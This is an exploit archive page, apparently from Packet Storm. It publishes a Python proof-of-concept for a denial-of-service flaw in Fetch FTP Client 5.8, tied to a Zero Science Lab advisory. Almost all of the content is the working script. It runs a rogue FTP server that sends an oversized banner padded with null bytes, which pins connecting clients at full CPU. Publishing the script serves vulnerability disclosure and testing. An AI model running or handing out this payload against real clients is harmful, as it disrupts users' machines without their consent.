exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Fetch Softworks Fetch FTP Client 5.8 Denial Of Service

Fetch Softworks Fetch FTP Client 5.8 Denial Of Service
Posted Jan 28, 2022
Authored by LiquidWorm | Site zeroscience.mk

Fetch Softworks Fetch FTP Client version 5.8 suffers from a remote CPU consumption denial of service vulnerability.

tags | exploit, remote, denial of service
SHA-256 | 39661448198dd708a96b67957a59b551619e612105aace960d22e309d08ca49d

Fetch Softworks Fetch FTP Client 5.8 Denial Of Service

Change Mirror Download
#!/usr/bin/env python
#
#
# Fetch Softworks Fetch FTP Client 5.8 Remote CPU Consumption (Denial of Service)
#
#
# Vendor: Fetch Softworks
# Product web page: https://www.fetchsoftworks.com
# Affected version: 5.8.2 (5K1354)
#
# Summary: Fetch is a reliable, full-featured file transfer client for the
# Apple Macintosh whose user interface emphasizes simplicity and ease of use.
# Fetch supports FTP and SFTP, the most popular file transfer protocols on
# the Internet for compatibility with thousands of Internet service providers,
# web hosting companies, publishers, pre-press companies, and more.
#
# Desc: The application is prone to a DoS after receiving a long server response
# (more than 2K bytes) leading to 100% CPU consumption.
#
# --------------------------------------------------------------------------------
# ~/Desktop> ps ucp 3498
# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
# lqwrm 3498 100.0 0.5 60081236 54488 ?? R 5:44PM 4:28.97 Fetch-5K1354-266470421
# ~/Desktop>
# --------------------------------------------------------------------------------
#
# Tested on: macOS Monterey 12.2
# macOS Big Sur 11.6.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2022-5696
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5696.php
#
#
# 27.01.2022
#

import socket

host = '0.0.0.0'
port = 21

s = socket.socket()
s.bind((host, port))
s.listen(2)

print('Ascolto su', host, 'porta', port, '...')

consumptor = '220\x20'
consumptor += 'ftp.zeroscience.mk'
consumptor += '\x00' * 0x101E
consumptor += '\x0D\x0A'

while True:
try:
c, a = s.accept()
print('Connessione da', a)
print('CPU 100%, Memory++')
c.send(bytes(consumptor, 'UTF-8'))
c.send(b'Thricer OK, p\'taah\x0A\x0D')
print(c.recv(17))
except:
break
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close